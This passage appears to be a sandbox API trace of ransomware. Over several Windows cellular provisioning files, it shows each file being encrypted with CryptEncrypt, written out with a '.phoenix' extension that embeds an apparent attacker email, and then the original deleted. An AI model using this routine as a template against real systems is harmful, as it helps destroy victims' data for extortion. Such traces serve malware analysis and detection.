	[0242.507] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.507] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0242.508] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0242.509] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.509] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c8, lpOverlapped=0x0) returned 1
	[0242.574] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0242.574] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0242.575] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0242.575] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.575] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0242.575] CryptDestroyKey (hKey=0x151440) returned 1
	[0242.575] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0242.575] CryptDestroyKey (hKey=0x151380) returned 1
	[0242.575] CloseHandle (hObject=0x2c8) returned 1
	[0242.575] CloseHandle (hObject=0x2c4) returned 1
	[0242.575] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.576] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0242.576] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0242.577] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=833) returned 1
	[0242.577] CloseHandle (hObject=0x2c4) returned 1
	[0242.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.577] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0242.577] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.577] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.577] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0242.577] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0242.577] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.577] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x341, lpOverlapped=0x0) returned 1
	[0242.673] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0242.673] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0242.674] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0242.674] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.674] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0242.674] CryptDestroyKey (hKey=0x151640) returned 1
	[0242.674] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0242.674] CryptDestroyKey (hKey=0x151740) returned 1
	[0242.674] CloseHandle (hObject=0x2c4) returned 1
	[0242.674] CloseHandle (hObject=0x2c8) returned 1
	[0242.674] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.675] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0242.675] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0242.675] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=670) returned 1
	[0242.675] CloseHandle (hObject=0x2c8) returned 1
	[0242.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.676] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0242.676] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.676] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.676] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0242.676] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0242.676] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.676] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x29e, lpOverlapped=0x0) returned 1
	[0242.678] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0242.678] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0242.679] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0242.679] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.679] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0242.679] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0242.679] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0242.679] CryptDestroyKey (hKey=0x151140) returned 1
	[0242.679] CloseHandle (hObject=0x2c8) returned 1
	[0242.679] CloseHandle (hObject=0x2c4) returned 1
	[0242.679] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.680] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0242.680] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.683] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=654) returned 1
	[0242.683] CloseHandle (hObject=0x2e8) returned 1
	[0242.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.684] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.684] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.684] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.684] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0242.685] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0242.685] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.685] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x28e, lpOverlapped=0x0) returned 1
	[0242.688] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0242.688] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0242.689] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151400) returned 1
	[0242.689] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.689] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0242.689] CryptDestroyKey (hKey=0x151400) returned 1
	[0242.689] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0242.689] CryptDestroyKey (hKey=0x151380) returned 1
	[0242.689] CloseHandle (hObject=0x2e8) returned 1
	[0242.689] CloseHandle (hObject=0x2c4) returned 1
	[0242.689] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.690] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0242.690] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0242.690] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=714) returned 1
	[0242.690] CloseHandle (hObject=0x2c4) returned 1
	[0242.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.691] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0242.691] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.691] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.691] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.691] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0242.691] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.691] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ca, lpOverlapped=0x0) returned 1
	[0242.704] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0242.704] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
